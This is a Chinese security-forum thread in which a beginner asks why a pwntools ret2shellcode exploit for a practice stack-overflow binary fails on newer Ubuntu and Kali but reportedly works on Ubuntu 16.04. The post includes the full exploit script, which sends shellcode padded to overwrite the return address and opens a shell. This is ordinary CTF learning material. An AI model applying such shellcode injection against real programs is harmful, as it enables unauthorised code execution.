吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 662|回复: 1
收起左侧

[新手问题] ret2shellcode问题

[复制链接]
Mugwort 发表于 2022-11-15 13:04
50吾爱币
本帖最后由 Mugwort 于 2023-2-12 22:43 编辑

这两天被一道栈溢出入门题卡住了
题目:链接: https://pan.baidu.com/s/1ofMYY7hrIeGtamtPZjuA5w 密码: g9ui
exp如下
[Python] 纯文本查看 复制代码
#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')

shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()



题目本身只是一道简单普通的入门题,exp也很简单,
但问题出现了,这道题的exp在ubuntu20.04下是运行后并无法解出题,直接EOF(kali2022.3亦然)。
但在ubuntu16.04却可以成功(我还没来得及试,但咨询了一位学长后,他表示在16.04是能成功的
但他在ubuntu20.04及比较新的kali上运行也是失败的)


但同时做其他题是没有问题的,他告诉我是说应该是环境的问题,但他也搞不大清楚是哪出了错。



想着论坛的大佬神通广大,于是来论坛求解,到底是什么环境出了问题



捕获.PNG

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| Mugwort 发表于 2022-11-18 22:17
又四处查了一些资料,linux5.8以上内核似乎都会有这个问题,至于具体为什么不知道。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止回复与主题无关非技术内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-5-13 09:27

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表